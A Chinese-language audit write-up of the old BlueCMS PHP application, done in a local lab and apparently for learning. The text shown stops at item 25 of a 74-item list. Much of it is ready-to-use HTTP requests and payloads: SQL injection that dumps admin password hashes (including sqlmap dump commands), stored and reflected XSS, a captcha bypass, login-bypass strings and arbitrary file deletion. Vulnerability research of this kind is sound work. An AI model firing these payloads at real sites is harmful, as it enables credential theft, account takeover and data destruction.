目录
- 前言
- 安装步骤
- 网站结构
- 入口文件审计
- 正式审计过程
- 3. ad_js.php 文件 ad_id 参数存在 SQL注入漏洞
- 4. ad_js.php 文件 ad_id 参数存在 反射型XSS漏洞
- comment.php 文件 getip() 函数 漏洞点
- guest_book.php $online_ip 漏洞点
- publish.php 文件
- 14. Search.php 文件 搜索型注入
- User.php 文件多处漏洞
- 15. 检测用户名处 user_name 参数存在sql注入
- 16. 注册提交,验证码绕过漏洞
- 难以利用的Sql注入
- 17. 注册点功能 insert Sql注入
- 18. 注册功能点 $email 存储型XSS漏洞
- 19. 登录功能点 用户名 $user_name Sql注入漏洞
- 20. 登录功能点 $pwd密码 万能密码
- 21. 发布新闻功能(do_add_news) $_POST['content'] 存储型XSS漏洞
- 22. 发布新闻功能(do_add_news) $_POST['descript'] 存储型XSS漏洞
- 23. 发布新闻功能(do_add_news) Sql注入漏洞
- 23. 修改文章功能(do_edit_news)XSS Sql注入
- 24. 编辑个人资料功能(edit_user_info) face_pic3 参数 任意文件删除漏洞
- 25. 编辑个人资料功能(edit_user_info) 多个参数存在 存储型 XSS漏洞
- 26. 编辑个人资料功能(edit_user_info) 多个参数存在 Sql注入漏洞
- 27. 修改密码功能(do_edit_pwd) 存在 MD5 碰撞漏洞
- 28. 修改密码功能(do_edit_pwd) 存在 Sql 注入漏洞
- 29. 首页登录功能(index_login) Sql 注入漏洞
- 30. 检查余额功能(check_price) type、service 参数 Sql 注入
- 管理后台文件分析
- 防御代码
- 31. common.inc.php Cookie 参数存在Sql注入漏洞
- 32. common.inc.php 存在鉴权绕过漏洞,可直接进入后台
- 33. Login.php 登录功能(do_login) 万能密码漏洞
- 34. 添加广告功能 ad.php(do_add) a d n a m e 、 ad_name、 adname、time_set、$content 等多个参数存在 Sql注入漏洞
- 35. 修改广告功能 ad.php(edit)$ad_id 存在Sql注入漏洞
- 36. 修改广告功能 ad.php(do_edit) $ad_name 存在Sql注入漏洞
- 37. 修改广告功能 ad.php(do_add) ad_name 存储型 XSS 漏洞
- 38. 电话广告 /admin/ad_phone.php (doadd)多个参数存在Sql注入漏洞
- 40. 电话广告 /admin/ad_phone.php (doadd)多个参数存在存储型Xss漏洞
- 41.电话广告 /admin/ad_phone.php (doedit)多个参数存在存储型 Xss漏洞
- 42.电话广告 /admin/ad_phone.php (del)id参数 存在Sql注入漏洞
- 41. admin/ann.php (do_add) 多个参数存在 Sql 注入漏洞
- 43. admin/ann.php (do_add) 多个参数存在 XSS漏洞
- 44. admin/ann.php (do_edit) 多个参数 存在Sql注入漏洞
- 45. admin/ann.php (do_edit) 多个参数 存储型 xss 漏洞
- 46. admin/ann.php (do_add_cat) cat_name Sql注入漏洞
- 47.admin/ann.php (do_add_cat) cat_name 存储型XSS漏洞
- 48.admin/ann.php (do_edit_cat) cat_name Sql注入漏洞
- 49.admin/arc_cat.php (do_add) 多个参数存在 Sql注入漏洞
- 50.admin/arc_cat.php (do_add) 多个参数存在 存储型Xss漏洞
- 51.admin/arc_cat.php (do_add) 多个参数存在 Sql注入漏洞
- 52.admin/area.php (doadd) area_name参数存在 Sql注入漏洞
- 53.admin/area.php (doadd) area_name参数存在 存储型XSS漏洞
- 54. admin/article.php (do_edit) lit_pic1 参数存在任意文件删除漏洞
- 55.admin/attachment.php (doadd) 多个参数存在Sql注入漏洞
- 56.admin/attachment.php (doedit) att_name 参数存在存储型XSS漏洞
- 57.admin/card.php (do_add) name 参数存在Sql注入漏洞
- 58.admin/card.php (do_add) name 参数 存储型xss漏洞 (字符长度绕过)
- 59. 数据库备份文件 未授权访问
- 60. /admin/database.php del file_name 参数 任意文件删除漏洞
- 61.admin/flash.php (do_add) image_link 参数 存储型Sql注入漏洞
- 62.admin/flash.php (do_add) image_link 参数 存储型XSS漏洞
- 63.admin/flash.php (del) 任意文件删除漏洞 (突破 intval 限制)
- 64.admin/info.php id 参数任意文件删除漏洞
- 65. admin/ipbanned.php ip 参数Sql注入漏洞
- 66. admin/link.php(do_add) 多个参数 Sql注入漏洞
- 67. admin/link.php(do_add) 多个参数 存储型xss漏洞
- 68.admin/link.php(do_edit) link_logo2参数 任意文件删除漏洞
- 69.admin/link.php (del) 任意文件删除漏洞 (突破 intval 限制)
- 69.admin/nav (edit) navid 参数存在 Sql注入漏洞
- 70.admin/tpl_manage.php (edit) tpl_name 参数存在任意文件读取漏洞
- 71.install/index.php 任意文件读取漏洞+绕过addslashes文件内容写入Getshell
- 72.admin/tpl_manage.php (do_edit) 存在任意文件写入漏洞
- 73.admin/uc_setting.php (install) uc_api参数存在 无回显SSRF 服务端请求伪造漏洞
- 74. admin/uc_setting.php (do_edit) tpl_content参数存在 任意文件写入 (二次写入置空绕过addslashes)
前言
此处审计共计74个漏洞,通过此次挖掘到的漏洞类型有 Sql注入、xss、任意文件删除、任意文件写入、未授权访问、SSRF、Cookie鉴权问题、验证码绕过等。
BlueCMS早在10几年前就有了,百度一搜BlueCMS基本都是审计文章,但此次审计不是为了挖洞而审计,笔者想学习代码的运作方式以及漏洞产生的方式而审计,所以这次审计我并没有上一些自动化工具,而是通过全文通读的方式去了解到漏洞的本质。
此次审计让我学习到了很多东西,也让我挖到了一些有意思的漏洞,例如:通过二次写入置空绕过addslashes进行Getshell(编号74)、利用insert Sql 注入数据配合 unlink 函数达到文件删除的效果(编号63)、cookie鉴权问题(编号32)、xss的限制字符长度的绕过(编号58)、绕过addslashes文件内容写入Getshell(编号71)、SSRF(编号73)以及MD5碰撞(编号27)等。
文中大多漏洞都是XSS以及Sql注入,SQL漏洞产生的原因其实就是 addslashes 可绕过达到注入,而 xss 漏洞基本都是从数据库查询出来时没有经过二次转译而产生的,这类漏洞可以直接跳过,可以重点关注上面笔者提到的漏洞(在每个漏洞前都会有一个数字编号)。
安装步骤
源码下载地址:https://jwt1399.lanzoui.com/inPwSde6c5a
PHP版本设置:php5.3.29(太高了有些函数使用不了导致报错)
-
将uploads下的所有文件移动到网站根目录下
-
给以下目录777权限
'data',
'data/cache',
'data/upload',
'data/compile',
'data/backup',
'include'
'install'
- 打开网站,进入install目录,填写数据库信息、web管理密码安装即可
网站结构
用编辑器打开记得使用GBK编码,不然会中文乱码
入口文件审计
入口文件 index.php,定义了一个常量 IN_BLUE 为 True,另外两行代码则是包含了两个php文件
笔者使用的是PhpStorm ,鼠标选中 common.inc.php ,ctrl+B 快捷键可以快速找到声明处。
前面几行都是引入函数、配置变量、打开session等。
41行开始出现对 GET、POST、cookies、REQUEST系统变量进行 addslashes 过滤
deep_addslashes
函数是 include/common.fun.php
文件引入的一个函数,其功能就是无限递归,使用 addslashes
函数过滤一遍我们输入的内容
1. include/common.fun.php user_name 参数存在Cookie Sql注入漏洞
往下翻 117行,存在一个cookie注入,达成的条件有
- $_SESSION[‘user_id’] 不存在
- 存在
$_COOKIE['BLUE']['user_name']
但是 sql执行之后,并没有显示结果在页面上,刚开始想尝试报错注入发现行不通,发现 sql 报错显示信息已经被修改过了
跟进 $db->query
函数,在 include/mysql.class.php
文件可看到优化了报错语句显示的代码
那么只能使用时间注入进行尝试,发现延时成功(此处为什么没有被 addslashes 函数进行转译?我突然反应过来 deep_addslashes 过滤的是 $_COOKIES
,多了一个S在后面,并不是$_COOKIE
)
sqlmap 一把梭
GET / HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: BLUE[user_name]=-1*
Connection: keep-alive
sqlmap -r test.txt -D bluecms -T blue_admin -C admin_name,pwd --dump
2. templates/default/user.htm 存在 Cookie self Xss 反射型漏洞
在 include/common.fun.php
发现用 cookie 记录用户名,刚开始只是想着此处有注入,尝试修改cookie之后发现直接显示在页面上
payload:
Cookie:
BLUE[user_name]= 1</font><script>alert()</script>
查看前段源代码
前端 templates/default/user.htm 未过滤直接将 $user_name 显示在页面上
然后往下 include/common.fun.php
文件就审计完毕,继续进入index.php
入口文件,查看下一个包含的文件include/index.fun.php
该文件各种主页功能函数调用的方法,可以看到一堆 sql 及函数调用
接下来则是 do_task('update_info');
函数,跟进函数,应该是一个更新任务及信息的一个函数运行,如果时间小于 $timestamp 则包含 include/task/update_info.php
文件
然后往下就是读取缓存文件、热门新闻、获取文章等获取数据的操作,然后通过 smarty 渲染到前端上
正式审计过程
入口文件审计发现了两个漏洞,下面正式开始审计其他文件。
3. ad_js.php 文件 ad_id 参数存在 SQL注入漏洞
根据目录文件从上往下看 ,首先分析ad_js.php
文件,该文件并没有对 $_GET['ad_id']
参数进行其他过滤,且最后赋值到$ad_content
显示出来
单引号测试,addslashes
确实有效果,但是这里并没有进行闭合,可以直接注入测试
payload
/ad_js.php?ad_id=-1+union+select+1,2,3,4,5,6,pwd+from+blue_admin
4. ad_js.php 文件 ad_id 参数存在 反射型XSS漏洞
通过源码分析,我们输入的参数会直接调用 $db->getone
去执行 ,一路追踪 mysql.class.php
文件
如果 sql 执行错误 ,则调用 dbshow
函数,将sql语句传输进入该函数中
输出 $msg
(就是传输进来的sql语句),最后exit
退出
我们输入的语句会原样输出
payload:
/ad_js.php?ad_id=<script>alert()</script>
那这样来说,有Sql执行的地方只要有Sql报错,基本都会出现 反射型 xss漏洞。
comment.php 文件 getip() 函数 漏洞点
跳过了两个文件 ann.php
和category.php
,传输进去的参数基本都被intval
强转为整型了,并没有看到其他利用点
comment.php
刚开始传输的两个参数也被强转了
往下翻,act=send
,comment提交的内容也被 htmlspecialchars
函数给实体化了
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ’
- < (小于)成为 <
- > (大于)成为 >
但是稍微注意看一下sql执行的参数,getip()
参数,跳转到声明除,是获取我们客户端使用的ip
也就是说,当我们能利用 xff 修改当前ip时,就有可能出现sql注入。而且这些系统常量并没有进行 addslashes
过滤
5. 时间注入
尝试在xff头进行sql注入,延时成功
payload:
POST /comment.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 23
X-Forwarded-For: 127.0.0.1' and sleep(3) and '
Content-Type: application/x-www-form-urlencoded
act=send&id=1&comment=1
延时注入的话还是一如即往的sqlmap一把梭
sqlmap -r test.txt -D bluecms -T blue_admin -C admin_name,pwd --dump
6. 显注
但是盲注怎么能满足我们呢,继续分析,当我们insert into
语句执行,发布评论成功后,他会跳转链接供我们查看我们发布的内容
访问看一下,我们插入的内容都会在这里显示出来
继续通过 insert into
插入多条语句,将admin的密码显示到插入到 content 字段上,显示在前端
payload:
POST /comment.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 23
X-Forwarded-For: 127.0.0.1',1),(12312,'1','0','0','0',(select pwd from blue_admin),'1729145351','127.0.0.1','1')#
Content-Type: application/x-www-form-urlencoded
act=send&id=1&comment=1
7. 存储型XSS
再想想这个利用点,他能将我们输入的内容select查询直接显示在页面上,那么是不是也会产生xss漏洞
poc:
POST /comment.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 23
X-Forwarded-For: 127.0.0.1',1),('','1','0','0','0','<script>alert()</script>','1729145351','127.0.0.1','1')#
Content-Type: application/x-www-form-urlencoded
act=send&id=1&comment=1
当然,这里也可以利用数据库的报错进行一个 xff self xss
guest_book.php $online_ip 漏洞点
通过代码分析,该漏洞点跟上个漏洞一样,找到 $online_ip
声明处,调用的也是 getip()
函数,就不过多的代码分析,直接上payload
8. 时间注入
时间注入poc:
POST /guest_book.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 18
X-Forwarded-For: 127.0.0.1' and sleep(3) and '
Content-Type: application/x-www-form-urlencoded
act=send&content=1
9. 显注
显注poc
POST /guest_book.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 28
X-Forwarded-For: 127.0.0.1','1'),('', '1', '1', '1', '1', (select pwd from blue_admin))#
Content-Type: application/x-www-form-urlencoded
act=send&content=1&page_id=1
guest_book.php?page_id=1
10. 存储型xss
POST /guest_book.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 28
X-Forwarded-For: 127.0.0.1','<script>alert()</script>')#
Content-Type: application/x-www-form-urlencoded
act=send&content=1&page_id=1
publish.php 文件
该文件是需要在登录环境下才能访问
11. 时间注入
进入 do_pub 判断,首先需要我们提交各种参数,不然会直接退出当前代码
总结了以下需要提交的参数,is_recommend、top_type、is_head_line等有几个参数可以先不用提交
htmlspecialchars(trim($_POST['title']))//实体化
intval($_POST['area']) //强转整型
intval($_POST['useful_time']); //强转整型
htmlspecialchars($_POST['content']) //实体化
$_POST['is_recommend']; //未过滤
$_POST['rec_time']; //提交 is_recommend 后需要提交 rec_time 且需要1个数字开头1个数字结尾
$_POST['top_type']; //未过滤
$_POST['top_time']; //提交 top_type 后需要提交 top_time 且需要1个数字开头1个数字结尾
$_POST['is_head_line']; //同上
$_POST['head_line_time']; //同上
//以下5个均实体化
$link_man = !empty($_POST['link_man']) ? htmlspecialchars(trim($_POST['link_man'])) : '';
$link_phone = !empty($_POST['link_phone']) ? htmlspecialchars(trim($_POST['link_phone'])) : 0;
$link_email = !empty($_POST['link_email']) ? htmlspecialchars(trim($_POST['link_email'])) : '';
$link_qq = !empty($_POST['link_qq']) ? htmlspecialchars(trim($_POST['link_qq'])) : 0;
$link_address = !empty($_POST['link_address']) ? htmlspecialchars(trim($_POST['link_address'])) : '';
就类似于 top_type
,如果提交了就会进入交易判断
然后240行代码 ,$online_ip
变量还是会带入到insert into
语句中执行
老样子 sleep进行延时测试
POST /publish.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85
X-Forwarded-For: 127.0.0.1' and sleep(3) and '
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
act=do_pub&title=1&area=1&useful_time=1&content=1&link_man=1&link_phone=1
12. del_pic delete 注入
继续往下 316 行,id 参数未过滤,直接进入sql语句中执行
这里建议用 or 且一个不存在的id,实战中如果删除到用户数据是一件很糟糕的事
而且 and 去 sleep 的话 需要 id 匹配成功 才会去执行sleep,当然 我们宽字节带入了一些脏字符,是肯定匹配不成功的
这里为什么是延迟了13秒,是因为数据库中有4条语句,delete会对 pic_path 列的所有记录进行对比,如果 pic_path 等于 $id
则删除,每执行一次对比就睡眠 3 秒 ,执行了 4 次,一共12秒,还有一秒估计是网页延迟
13. del_pic 任意文件删除
往后两行就是一个任意删除文件的代码,$id
拼接 BLUE_ROOT
跟路径,如果文件存在,则直接 unlink()
删除
poc:
POST /publish.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
act=del_pic&id=1.txt
最后一段代码 $type
参数未过滤,直接带入到sql中执行,但是我添加参数后发现sql语句执行失败
看了一眼数据库并没有blue_price
表,这个点就先放弃了
14. Search.php 文件 搜索型注入
一共 3 个我们可控的参数,$cid
和$aid
都进行了强转, $keywords
去除两边空格
往下看,如果$keywords
不为空,则拼接到 $condition
变量中,然后调用数据库函数执行sql语句$db->getone
这里有点小坑,首先根据 Sql 语句分析,是一个分页显示的功能,该语句只是获取了一个总数 COUNT(*)
,刚开始我想着直接闭合 like '%%'
,然后union select
去进行联合查询,但是事情没有我想的那么简单
按照正常流程 ,先执行order by 2
,发现报错
order by 1
正常
当使用 union select 1 的时候就出现了另外一处 Sql语句的报错了
往下读取代码,发现了另外一条语句也拼接了 $condition
,两条语句的查询出来的字段数不一致,导致不能执行联合查询
然后我就想着直接执行 or sleep(3)
试试,服务器直接报 500 ,原因应该是会对blue_post
表中的每一条记录进行对比,记录太多会导致服务器睡眠太久
那么换个思路,我们先让系统查询出一条记录
然后再 and sleep
进行延时,发现延时成功
当然不一定只有延时,既然我们能显示数据和页面,也可以使用盲注进行测试
剩下的就是sqlmap一把梭了
POST /search.php HTTP/1.1
Host: 192.168.1.8:86
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
cid=&aid=&keywords=_%%df' or post_id = 1 *%23
sqlmap -r test.txt --dbms="Mysql"
User.php 文件多处漏洞
User 文件很大,有差不多 1000 行 ,功能点多,我们就从注册模块开始审计
直接跳到 116 行 $act == 'reg'
,首先判断用户有没有登录,紧接着匹配一下上次注册的时间,如果小于 30 秒就禁止注册,最后是通过 $smarty
渲染前端模版。
15. 检测用户名处 user_name 参数存在sql注入
查看一下 reg.html
,调用了一个onblur
事件,当用户失去焦点的时候执行 check_user_name()
函数
找到声明处 templates/default/css/reg.js
,首先判断输入的字符串名是否合规,不合规直接 return,最后调用 getData函数
templates/default/css/common.js
找到 getData
声明处,可以看到是一个利用 AJAX 发起的异步请求
手动拼接一下 queryString
内容,这次请求进入了 user.php
文件的 act=check_user_name
判断
/user.php?user_name=test×tamp=1&act=check_user_name
继续进入到 user.php
文件搜索关键字 check_user_name
include/user.fun.php
中找到 check_user_name
函数声明,可以看到带入的 $user_name
参数并没有进行任何过滤,直接带入到 Sql 中执行。
测试payload
/user.php?user_name=test%df'+or+1=2%23×tamp=1&act=check_user_name
/user.php?user_name=test%df'+or+1=1%23×tamp=1&act=check_user_name
老样子,SQLmap 一把梭
sqlmap -u "http://192.168.1.8:86/user.php?user_name=test%df'*%23×tamp=1&act=check_user_name"
16. 注册提交,验证码绕过漏洞
接下来就是提交注册功能,分析 do_reg
,提交的验证码转为小写,然后将session和我们提交的验证码对比,如果不正确,则退出当前代码,提示验证码错误
这样一想,那么我们只需要将 Session 删除 及 提交的验证码为空,两者一比较,则为 true,先抓个包,提交个错的验证码
然后删除验证码及Session即可绕过
难以利用的Sql注入
继续分析代码,还是可以看到 $user_name 只是去空,但是限制了payload长度为 16 字符
缩短字符进行 sleep() 测试,还不能使用 and sleep,因为并没有查询到任何用户,使用 or 去 sleep 会发现延时多久完全取决于表中的记录,此处执行后我这里是延时 6 秒,因为我的 user 表有两条记录,admin表一条。
由于限制较大就先放弃这个点了。
17. 注册点功能 insert Sql注入
继续往下分析代码,既然 user_name 限制了字符串长度,那么还有 pwd 、email 可以用,而 pwd 需要与 pwd1 做对比,那么我们首先选择容易的点去进行利用
提交注册进行测试,拼接语句及闭合,发现可以注册成功
referer=&user_name=test2&pwd=test1test&pwd1=test1test&email=adad%40qq.com%df',1,1)%23&safecode=&from=&act=do_reg
延时测试
referer=&user_name=test3&pwd=123456&pwd1=123456&email=aa%40qq.com%df' or sleep(3),1,1)%23&safecode=7nc7&from=&act=do_reg
那么这里直接丢到 Sqlmap中不好跑,因为 test2用户我们已经注册过了,当我们再次提交payload的时候会直接提示 用户名已存在,即使随机字符串去跑,估计也是只能跑出延时注入或者布尔盲注
那么我们换个思路,我们可以将 blue_admin 表 管理员的密码 插入到 email 字段中,然后登录上去查看一下不就好了?
接下来是踩坑日记,摸了很久的坑
刚开始想着,直接查询 admin
表中的pwd
字段,然后拼接在 email 中就可以了。
referer=&user_name=test5&pwd=123456&pwd1=123456&email=%df'%2b(select pwd from blue_admin),1,1)%23&safecode=&from=&act=do_reg
插入成功,心里想着直接登录,查看用户信息就能看到用户密码了。登录上去的时候尴尬了,怎么只显示了5个字符,尝试了很多方法都没有能一次性显示所有字符串,刚开始还想着可能是字符长度问题,不能直接拼接插入到数据库中
那就算了,既然不能一次性读取出来,那就利用 substring 函数一点一点读出来就好了,大概注册个7次就可以把admin读出来了
- substring(str, pos, length),即:substring(被截取字符串,从第几位开始截取,截取长度)
POST /user.php HTTP/1.1
Host: 192.168.1.8:86
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=
Priority: u=0, i
Content-Length: 139
referer=&user_name=test8&pwd=123456&pwd1=123456&email=%df'%2b(select substring(pwd,6,5) from blue_admin),1,1)%23&safecode=&from=&act=do_reg
然后登录后,又一次尴尬,怎么回事,只显示一个 0 。
搞了很久,都没想明白,因为全文的 insert into
多数都存在注入点,都是一个样,一直没能显示全部的 pwd 字段的内容,正当我百思不得其姐时,搜了一下 Mysql 字符串拼接问题。
Mysql 并不支持 + 号直接进行字符串拼接,属实是怪我自己基础没有打好,就会踩无数个坑,那么我又不能使用函数拼接,只能进行闭合,该怎么办呢?这个时候可以改变一下思路,直接一次性插入两条语句行不行?在插入第二条记录时就不用拼接,直接将 admin 密码插入 email 字段中,这里要注意两点:
- 我们不能输入字符串,因为需要 单双引号 进行闭合
- 插入密码时需要插入 md5 才能登录上
那么我们直接将需要插入字符串的字段,用hex进行代替
密码需要先进行 md5 加密,然后在进行 hex Encode
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 226
Origin: http://192.168.1.9:86
Connection: keep-alive
Referer: http://192.168.1.9:86/user.php?act=reg
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
referer=&user_name=test5&pwd=123456&pwd1=123456&email=aa%40qq.com%df',1,1),(14,0x7465737438,0x6531306164633339343962613539616262653536653035376632306638383365,(select pwd from blue_admin),1,1)%23&safecode=7nc7&from=&act=do_reg
登录第二条记录的账号密码 test8/123456
,在 email 上就可以看到 admin 的密码了
而 pwd 参数也是一样,只不过闭合方式从%df'
变成了 %df')
referer=&user_name=test114&pwd=123456%df'), 1, 1, 1)%23&pwd1=123456%df'), 1, 1, 1)%23&email=123&safecode=&from=&act=do_reg
pwd字段可以直接在后面拼接,插入 密码 到 emali 上,而不用直接插入两条记录,这利用在后面的漏洞也会讲到
18. 注册功能点 $email 存储型XSS漏洞
还是一样分析注册功能模块代码,$email 参数并未进行 html 实体化操作
登录进入后台后,也是直接查询数据出来直接提交到前端
poc
登录注册时,抓包修改 email 的内容进行弹窗测试
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
referer=&user_name=test1&pwd=123456&pwd1=123456&email=<script>alert()</script>&safecode=&from=&act=do_reg
什么?你说这不就是self XSS吗,有啥用?那么当你登录管理员后台,查看会员列表时,就会出现一个后台弹窗。
19. 登录功能点 用户名 $user_name Sql注入漏洞
登录时提交的用户名未过滤直接带入到Sql注入中执行(这次验证码会判断是否为空,所以之前的那个验证码绕过漏洞已失效了。)
但是查询的时候会先到 admin
表中查询,所以万能账号在这里是不能生效的。
adaaaaa%df' or 1=1%23
老样子,sqlmap一把梭
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
referer=&user_name=ad%df'*%23&pwd=123&safecode=bxyf&useful_time=604800&submit=%B5%C7%C2%BC&from=&act=do_login
20. 登录功能点 $pwd密码 万能密码
继续往下分析,如果不是系统用户组的用户,则将账号密码传输到login
函数中
跳转到 include/user.fun.php
文件 login
函数声明处。
首先会根据用户名进行查询,如果记录不等于0条,那么就会将账号密码去对比
payload 需要闭合md5函数的括号
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
Content-Length: 115
referer=&user_name=test&pwd=%df') or 1=1%23&safecode=bxyf&useful_time=604800&submit=%B5%C7%C2%BC&from=&act=do_login
21. 发布新闻功能(do_add_news) $_POST[‘content’] 存储型XSS漏洞
分析代码,从 255行代码开始就是新闻的功能,绝大多数参数都进行了html实体化,以及强制转整型,而唯独 c o n t e n t 、 content 、 content、descript 这两个参数没有
$content
参数调用了一个filter_data
函数去进行过滤,然而该参数只是过滤了一些简单的标签,我们可以直接使用其他标签进行弹窗测试
poc
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------322974620713695991782113680628
Content-Length: 1219
Origin: http://192.168.1.9:86
Connection: keep-alive
Referer: http://192.168.1.9:86/user.php?act=add_news
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="title"
title12312
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="color"
color123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="cid"
1
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="author"
author123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="source"
source123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="lit_pic"; filename=""
Content-Type: application/octet-stream
lit_pic123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="descript"
descript123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="content"
<img src=x one rror="alert(1)">
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="act"
do_add_news
-----------------------------322974620713695991782113680628--
发布文章后去首页查看文章,执行了我们插入的xss代码
22. 发布新闻功能(do_add_news) $_POST[‘descript’] 存储型XSS漏洞
上一个漏洞只能在查看文章页弹窗,当我们从后台进行查看文章管理时,会发现 onerror
事件被转译了
而 $descript
也没有进行html实体化编码,直接插入数据库中
$descript
需要闭合 <textarea>
标签
直接打入poc
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: multipart/form-data; boundary=---------------------------322974620713695991782113680628
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
Content-Length: 1229
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="title"
title12312
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="color"
color123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="cid"
1
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="author"
author123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="source"
source123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="lit_pic"; filename=""
Content-Type: application/octet-stream
lit_pic123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="descript"
</textarea><script>alert("descript123")</script>
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="content"
123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="act"
do_add_news
-----------------------------322974620713695991782113680628--
后台管理员点击查看文章时会触发
23. 发布新闻功能(do_add_news) Sql注入漏洞
上诉代码两个漏洞得知,未过滤直接insert into 插入到数据库中
那么就可以直接构造 payload 通过 descript
参数进行 Sql注入,然后将admin
账号密码显示在 content
内容里
查看发布的文章
23. 修改文章功能(do_edit_news)XSS Sql注入
修改文章功能和上面那3个洞都差不多
XSS
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: multipart/form-data; boundary=---------------------------22145933197150690913971459451
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85
Content-Length: 1300
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="title"
title12312
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="color"
color12
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="cid"
1
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="author"
author123
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="source"
source123
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="lit_pic2"; filename=""
Content-Type: application/octet-stream
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="descript"
123
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="content"
<img src=# one rror="alert()">
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="id"
44
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="act"
do_edit_news
-----------------------------22145933197150690913971459451--
SQL 注入的话是 upload注入,稍微改一下语句就可以了
钟',content=(select pwd from blue_admin)#
24. 编辑个人资料功能(edit_user_info) face_pic3 参数 任意文件删除漏洞
刚刚步入这个模块就出现一个 unlink 函数,那么必定就有任意文件删除漏洞,而且该漏洞只需要提交两个参数即可触发
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=4
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
act=edit_user_info&face_pic3=test.php
25. 编辑个人资料功能(edit_user_info) 多个参数存在 存储型 XSS漏洞
多个参数都没有进行 html 实体化
这里只测试一个参数,其他参数大同小异
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 1470
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
